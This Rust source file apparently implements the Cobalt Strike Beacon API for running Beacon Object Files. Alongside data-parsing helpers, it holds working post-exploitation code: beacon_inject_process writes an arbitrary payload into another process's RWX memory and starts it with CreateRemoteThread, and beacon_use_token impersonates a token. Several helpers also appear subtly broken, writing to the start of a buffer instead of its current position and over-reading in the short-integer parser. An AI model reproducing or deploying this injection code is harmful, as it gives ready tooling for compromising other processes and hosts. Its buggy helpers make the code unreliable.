use core::slice;
use std::{
alloc::Layout,
ffi::{c_char, c_int, c_short, CStr},
intrinsics, ptr,
};
use tracing::warn;
use windows::Win32::{
Foundation::{CloseHandle, HANDLE},
Security::{GetTokenInformation, RevertToSelf, TokenElevation, TOKEN_ELEVATION, TOKEN_QUERY},
System::{
Diagnostics::Debug::WriteProcessMemory,
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
Threading::{
CreateRemoteThread, GetCurrentProcess, OpenProcess, OpenProcessToken, SetThreadToken,
PROCESS_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, STARTUPINFOA,
},
},
};
use windows_sys::Win32::{
Foundation::FreeLibrary,
System::LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA},
};
#[allow(clippy::upper_case_acronyms)]
type BOOL = i32;
const TRUE: BOOL = 1;
const FALSE: BOOL = 0;
#[cfg_attr(target_env = "msvc", link(name = "legacy_stdio_definitions"))]
extern "C" {
fn _vsnprintf_s(
buffer: *mut c_char,
size_of_buffer: usize,
count: usize,
format: *const c_char,
argptr: core::ffi::VaList,
) -> c_int;
fn _vsnprintf(
buffer: *mut c_char,
count: usize,
format: *const c_char,
argptr: core::ffi::VaList,
) -> c_int;
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct Formatp {
original: *mut c_char, buffer: *mut c_char, length: c_int, size: c_int, }
#[repr(C)]
#[derive(Clone, Copy)]
pub struct Datap {
original: *mut c_char, buffer: *mut c_char, length: c_int, size: c_int, }
#[allow(dead_code)]
const CALLBACK_OUTPUT: u32 = 0x0;
#[allow(dead_code)]
const CALLBACK_OUTPUT_OEM: u32 = 0x1e;
#[allow(dead_code)]
const CALLBACK_OUTPUT_UTF8: u32 = 0x20;
#[allow(dead_code)]
const CALLBACK_ERROR: u32 = 0x0d;
pub static INTERNAL_FUNCTION_NAMES: [&str; 29] = [
"BeaconDataParse",
"BeaconDataPtr",
"BeaconDataInt",
"BeaconDataShort",
"BeaconDataLength",
"BeaconDataExtract",
"BeaconFormatAlloc",
"BeaconFormatReset",
"BeaconFormatAppend",
"BeaconFormatPrintf",
"BeaconFormatToString",
"BeaconFormatFree",
"BeaconFormatInt",
"BeaconOutput",
"BeaconPrintf",
"BeaconUseToken",
"BeaconRevertToken",
"BeaconIsAdmin",
"BeaconGetSpawnTo",
"BeaconInjectProcess",
"BeaconInjectTemporaryProcess",
"BeaconSpawnTemporaryProcess",
"BeaconCleanupProcess",
"toWideChar",
"LoadLibraryA",
"GetProcAddress",
"FreeLibrary",
"GetModuleHandleA",
"__C_specific_handler",
];
pub fn get_function_ptr(name: &str) -> Result<usize, Box<dyn std::error::Error>> {
match name {
"BeaconDataParse" => Ok(beacon_data_parse as *const () as usize),
"BeaconDataPtr" => Ok(beacon_data_ptr as *const () as usize),
"BeaconDataInt" => Ok(beacon_data_int as *const () as usize),
"BeaconDataShort" => Ok(beacon_data_short as *const () as usize),
"BeaconDataLength" => Ok(beacon_data_length as *const () as usize),
"BeaconDataExtract" => Ok(beacon_data_extract as *const () as usize),
"BeaconFormatAlloc" => Ok(beacon_format_alloc as *const () as usize),
"BeaconFormatReset" => Ok(beacon_format_reset as *const () as usize),
"BeaconFormatAppend" => Ok(beacon_format_append as *const () as usize),
"BeaconFormatPrintf" => Ok(beacon_format_printf as *const () as usize),
"BeaconFormatToString" => Ok(beacon_format_to_string as *const () as usize),
"BeaconFormatFree" => Ok(beacon_format_free as *const () as usize),
"BeaconFormatInt" => Ok(beacon_format_int as *const () as usize),
"BeaconOutput" => Ok(beacon_output as *const () as usize),
"BeaconPrintf" => Ok(beacon_printf as *const () as usize),
"BeaconUseToken" => Ok(beacon_use_token as *const () as usize),
"BeaconRevertToken" => Ok(beacon_revert_token as *const () as usize),
"BeaconIsAdmin" => Ok(beacon_is_admin as *const () as usize),
"BeaconGetSpawnTo" => Ok(beacon_get_spawn_to as *const () as usize),
"BeaconInjectProcess" => Ok(beacon_inject_process as *const () as usize),
"BeaconInjectTemporaryProcess" => Ok(beacon_inject_temporary_process as *const () as usize),
"BeaconSpawnTemporaryProcess" => Ok(beacon_spawn_temporary_process as *const () as usize),
"BeaconCleanupProcess" => Ok(beacon_cleanup_process as *const () as usize),
"toWideChar" => Ok(to_wide_char as *const () as usize),
"LoadLibraryA" => Ok(LoadLibraryA as *const () as usize),
"GetProcAddress" => Ok(GetProcAddress as *const () as usize),
"FreeLibrary" => Ok(FreeLibrary as *const () as usize),
"GetModuleHandleA" => Ok(GetModuleHandleA as *const () as usize),
"__C_specific_handler" => Ok(0),
_ => Err(format!("Unknown internal function: {name}").into()),
}
}
#[repr(C)]
#[derive(Clone)]
pub struct Carrier {
pub output: Vec<c_char>,
pub offset: usize,
}
impl Carrier {
pub const fn new() -> Carrier {
Carrier {
output: Vec::new(),
offset: 0,
}
}
pub unsafe fn append_char_array(&mut self, s: *mut c_char, len: c_int) {
let holder = unsafe { slice::from_raw_parts(s, len as usize) };
self.output.extend_from_slice(holder);
self.offset = self.output.len() - holder.len();
}
#[allow(clippy::cast_possible_wrap)]
pub fn append_string(&mut self, s: &str) {
let mut mapped = s.bytes().map(|c| c as i8).collect::<Vec<c_char>>();
self.output.append(&mut mapped);
self.offset = self.output.len() - s.len();
}
pub fn flush(&mut self) -> String {
let bytes: Vec<u8> = self
.output
.iter()
.map(|c| {
let b = *c as u8;
if b == 0 { b'\n' } else { b }
})
.collect();
String::from_utf8_lossy(&bytes).into_owned()
}
#[allow(clippy::len_without_is_empty)]
pub fn len(&self) -> usize {
self.output.len()
}
pub fn reset(&mut self) {
self.output.clear();
self.offset = 0;
}
}
impl Default for Carrier {
fn default() -> Self {
Self::new()
}
}
static mut OUTPUT: Carrier = Carrier::new();
#[no_mangle]
extern "C" fn beacon_data_parse(parser: *mut Datap, buffer: *mut c_char, size: c_int) {
if parser.is_null() {
return;
}
let mut data_parser: Datap = unsafe { *parser };
data_parser.original = buffer;
data_parser.buffer = buffer;
data_parser.length = size - 4;
data_parser.size = size - 4;
unsafe {
data_parser.buffer = data_parser.buffer.add(4);
}
unsafe {
*parser = data_parser;
}
}
#[no_mangle]
extern "C" fn beacon_data_ptr(_parser: *mut Datap, _size: c_int) -> *mut u8 {
unimplemented!();
}
#[no_mangle]
extern "C" fn beacon_data_int(parser: *mut Datap) -> c_int {
if parser.is_null() {
return 0;
}
let mut data_parser: Datap = unsafe { *parser };
if data_parser.length < 4 {
return 0;
}
let result: &[u8] = unsafe { slice::from_raw_parts(data_parser.buffer as *const u8, 4) };
let mut dst = [0u8; 4];
dst.clone_from_slice(&result[0..4]);
data_parser.buffer = unsafe { data_parser.buffer.add(4) };
data_parser.length -= 4;
unsafe {
*parser = data_parser;
}
i32::from_ne_bytes(dst) as c_int
}
#[no_mangle]
extern "C" fn beacon_data_short(parser: *mut Datap) -> c_short {
if parser.is_null() {
return 0;
}
let mut data_parser: Datap = unsafe { *parser };
if data_parser.length < 2 {
return 0;
}
let result: &[u8] = unsafe { slice::from_raw_parts(data_parser.buffer as *const u8, 4) };
let mut dst = [0u8; 2];
dst.clone_from_slice(&result[0..2]);
data_parser.buffer = unsafe { data_parser.buffer.add(2) };
data_parser.length -= 2;
unsafe {
*parser = data_parser;
}
i16::from_ne_bytes(dst)
}
#[no_mangle]
extern "C" fn beacon_data_length(parser: *mut Datap) -> c_int {
if parser.is_null() {
return 0;
}
let data_parser: Datap = unsafe { *parser };
data_parser.length
}
#[no_mangle]
#[allow(clippy::cast_possible_wrap)]
extern "C" fn beacon_data_extract(parser: *mut Datap, size: *mut c_int) -> *mut c_char {
if parser.is_null() {
return ptr::null_mut();
}
let mut data_parser: Datap = unsafe { *parser };
if data_parser.length < 4 {
return ptr::null_mut();
}
let length_parts: &[u8] = unsafe { slice::from_raw_parts(data_parser.buffer as *const u8, 4) };
let mut length_holder = [0u8; 4];
length_holder.clone_from_slice(&length_parts[0..4]);
let length: u32 = u32::from_ne_bytes(length_holder);
data_parser.buffer = unsafe { data_parser.buffer.add(4) };
let result = data_parser.buffer;
if result.is_null() {
return ptr::null_mut();
}
data_parser.length -= 4;
data_parser.length -= length as i32;
data_parser.buffer = unsafe { data_parser.buffer.add(length as usize) };
if !size.is_null() && !result.is_null() {
unsafe {
*size = length as c_int;
}
}
unsafe {
*parser = data_parser;
}
result
}
#[no_mangle]
extern "C" fn beacon_format_alloc(format: *mut Formatp, maxsz: c_int) {
if format.is_null() {
return;
}
if maxsz == 0 {
return;
}
let mut format_parser: Formatp = unsafe { *format };
let mut align: usize = 1;
while align < maxsz as usize {
align *= 2;
}
let layout_result = Layout::from_size_align(maxsz as usize, align);
if let Ok(layout) = layout_result {
let ptr = unsafe { std::alloc::alloc(layout) };
format_parser.original = ptr.cast::<i8>();
format_parser.buffer = format_parser.original;
format_parser.length = 0;
format_parser.size = maxsz;
unsafe {
*format = format_parser;
}
}
}
#[no_mangle]
extern "C" fn beacon_format_reset(format: *mut Formatp) {
if format.is_null() {
return;
}
let mut format_parser: Formatp = unsafe { *format };
let size = format_parser.size;
beacon_format_free(&mut format_parser);
beacon_format_alloc(&mut format_parser, size);
unsafe {
*format = format_parser;
}
}
#[no_mangle]
extern "C" fn beacon_format_append(format: *mut Formatp, text: *const c_char, len: c_int) {
if format.is_null() {
return;
}
let mut format_parser: Formatp = unsafe { *format };
if format_parser.length + len > format_parser.size {
return;
}
unsafe {
intrinsics::copy_nonoverlapping(text, format_parser.original, len as usize);
}
format_parser.buffer = unsafe { format_parser.buffer.add(len as usize) };
format_parser.length += len;
unsafe {
*format = format_parser;
}
}
#[no_mangle]
unsafe extern "C" fn beacon_format_printf(format: *mut Formatp, fmt: *const c_char, args: ...) {
if format.is_null() {
return;
}
let mut format_parser: Formatp = *format;
let mut buffer = vec![0u8; 4096];
let bytes_written = _vsnprintf(
buffer.as_mut_ptr() as *mut c_char,
buffer.len() - 1, fmt,
args,
);
if bytes_written < 0 || bytes_written >= buffer.len() as c_int {
return;
}
if format_parser.length + bytes_written + 1 > format_parser.size {
return;
}
buffer[bytes_written as usize] = 0;
intrinsics::copy_nonoverlapping(
buffer.as_ptr(),
format_parser.buffer as *mut u8,
bytes_written as usize + 1, );
format_parser.buffer = format_parser.buffer.add(bytes_written as usize);
format_parser.length += bytes_written;
*format = format_parser;
}
#[no_mangle]
extern "C" fn beacon_format_to_string(format: *mut Formatp, size: *mut c_int) -> *mut c_char {
if format.is_null() {
return ptr::null_mut();
}
let format_parser: Formatp = unsafe { *format };
if format_parser.length == 0 {
return ptr::null_mut();
}
unsafe {
*size = format_parser.length;
}
format_parser.original
}
#[no_mangle]
extern "C" fn beacon_format_free(format: *mut Formatp) {
if format.is_null() {
return;
}
let mut format_parser: Formatp = unsafe { *format };
if !format_parser.original.is_null() {
let mut align: usize = 1;
while align < format_parser.size as usize {
align *= 2;
}
let layout_result = Layout::from_size_align(format_parser.size as usize, align);
if let Ok(layout) = layout_result {
unsafe { std::alloc::dealloc(format_parser.original.cast::<u8>(), layout) };
}
}
format_parser.original = ptr::null_mut();
format_parser.buffer = ptr::null_mut();
format_parser.length = 0;
format_parser.size = 0;
unsafe {
*format = format_parser;
}
}
#[no_mangle]
extern "C" fn beacon_format_int(format: *mut Formatp, value: c_int) {
if format.is_null() {
return;
}
let mut format_parser: Formatp = unsafe { *format };
if format_parser.length + 4 > format_parser.size {
return;
}
let swapped = swap_endianness(value as u32);
let mut result = swapped.to_be_bytes();
unsafe {
intrinsics::copy_nonoverlapping(
result.as_mut_ptr(),
format_parser.original.cast::<u8>(),
4,
);
}
format_parser.buffer = unsafe { format_parser.buffer.add(4) };
format_parser.length += 4;
unsafe {
*format = format_parser;
}
}
#[no_mangle]
#[allow(static_mut_refs)]
extern "C" fn beacon_output(_type: c_int, data: *mut c_char, len: c_int) {
unsafe { OUTPUT.append_char_array(data, len) }
}
#[no_mangle]
#[allow(static_mut_refs)]
pub extern "C" fn beacon_get_output_data() -> &'static mut Carrier {
unsafe { &mut OUTPUT }
}
#[no_mangle]
unsafe extern "C" fn beacon_printf(_type: c_int, fmt: *mut c_char, args: ...) {
let mut buffer = vec![0u8; 4096];
let bytes_written = _vsnprintf(
buffer.as_mut_ptr() as *mut c_char,
buffer.len() - 1,
fmt,
args,
);
if bytes_written < 0 || bytes_written >= buffer.len() as c_int {
return;
}
buffer[bytes_written as usize] = 0;
let formatted_str = String::from_utf8_lossy(&buffer[..bytes_written as usize]).into_owned();
#[allow(static_mut_refs)]
OUTPUT.append_string(&formatted_str);
}
#[no_mangle]
extern "C" fn beacon_use_token(token: HANDLE) -> BOOL {
match unsafe { SetThreadToken(Some(std::ptr::null()), Some(token)) } {
Ok(()) => TRUE,
Err(_) => FALSE,
}
}
#[no_mangle]
extern "C" fn beacon_revert_token() {
if let Ok(()) = unsafe { RevertToSelf() } {
} else {
warn!("RevertToSelf Failed!");
}
}
#[no_mangle]
extern "C" fn beacon_is_admin() -> BOOL {
let mut token: HANDLE = HANDLE(std::ptr::null_mut());
let token_elevated: TOKEN_ELEVATION = TOKEN_ELEVATION { TokenIsElevated: 0 };
let open_token_result =
unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) };
if open_token_result.is_err() {
return FALSE;
}
let get_token_info_result = unsafe {
GetTokenInformation(
token,
TokenElevation,
Some(std::ptr::from_ref(&token_elevated) as *mut _),
std::mem::size_of::<TOKEN_ELEVATION>() as u32,
std::ptr::null_mut(),
)
};
if get_token_info_result.is_err() {
return FALSE;
}
if token_elevated.TokenIsElevated == 1 {
return TRUE;
}
FALSE
}
#[no_mangle]
extern "C" fn beacon_get_spawn_to(_x86: BOOL, _buffer: *const c_char, _length: c_int) {
unimplemented!();
}
#[no_mangle]
extern "C" fn beacon_inject_process(
_hproc: HANDLE,
pid: c_int,
payload: *const c_char,
p_len: c_int,
_p_offset: c_int,
arg: *const c_char,
a_len: c_int,
) {
unsafe {
if let Ok(process_handle) =
OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid as u32)
{
if process_handle.is_invalid() {
return;
}
let payload_slice = std::slice::from_raw_parts(payload.cast::<u8>(), p_len as usize);
let _arg_slice = std::slice::from_raw_parts(arg.cast::<u8>(), a_len as usize);
let remote_payload_address = VirtualAllocEx(
process_handle,
None,
payload_slice.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if remote_payload_address.is_null() {
let _ = CloseHandle(process_handle);
return;
}
if WriteProcessMemory(
process_handle,
remote_payload_address,
payload_slice.as_ptr().cast(),
payload_slice.len(),
None,
)
.is_err()
{
let _ = CloseHandle(process_handle);
return;
}
if let Ok(thread) = CreateRemoteThread(
process_handle,
None,
0,
Some(std::mem::transmute::<
*mut std::ffi::c_void,
unsafe extern "system" fn(*mut std::ffi::c_void) -> u32,
>(remote_payload_address)),
None,
0,
None,
) {
let _ = CloseHandle(thread);
};
let _ = CloseHandle(process_handle);
};
}
}
#[no_mangle]
extern "C" fn beacon_inject_temporary_process(
_pinfo: *const PROCESS_INFORMATION,
_pid: c_int,
_payload: *const c_char,
_p_len: c_int,
_p_offset: c_int,
_arg: *const c_char,
_a_len: c_int,
) {
unimplemented!();
}
#[no_mangle]
extern "C" fn beacon_spawn_temporary_process(
_x86: BOOL,
_ignore_token: BOOL,
_si: *const STARTUPINFOA,
_pinfo: *const PROCESS_INFORMATION,
) -> BOOL {
unimplemented!();
}
#[no_mangle]
extern "C" fn beacon_cleanup_process(pinfo: *const PROCESS_INFORMATION) {
unsafe {
let _ = CloseHandle((*pinfo).hProcess);
let _ = CloseHandle((*pinfo).hThread);
}
}
#[no_mangle]
extern "C" fn to_wide_char(src: *const c_char, dst: *mut c_short, max: c_int) -> BOOL {
if src.is_null() {
return FALSE;
}
let c_str: &CStr = unsafe { CStr::from_ptr(src) };
let str_slice: &str = match c_str.to_str() {
Ok(s) => s,
Err(_) => return FALSE,
};
let mut size = str_slice.len();
if size > max as usize {
size = max as usize - 1;
}
let mut v: Vec<u16> = str_slice.encode_utf16().take(size).collect();
v.push(0);
unsafe { ptr::copy(v.as_ptr(), dst.cast::<u16>(), size) };
TRUE
}
#[no_mangle]
pub extern "C" fn swap_endianness(src: u32) -> u32 {
let test: u32 = 0x0000_00ff;
if (((test >> 24) & 0xff) as u8) == 0xff {
return src.swap_bytes();
}
src
}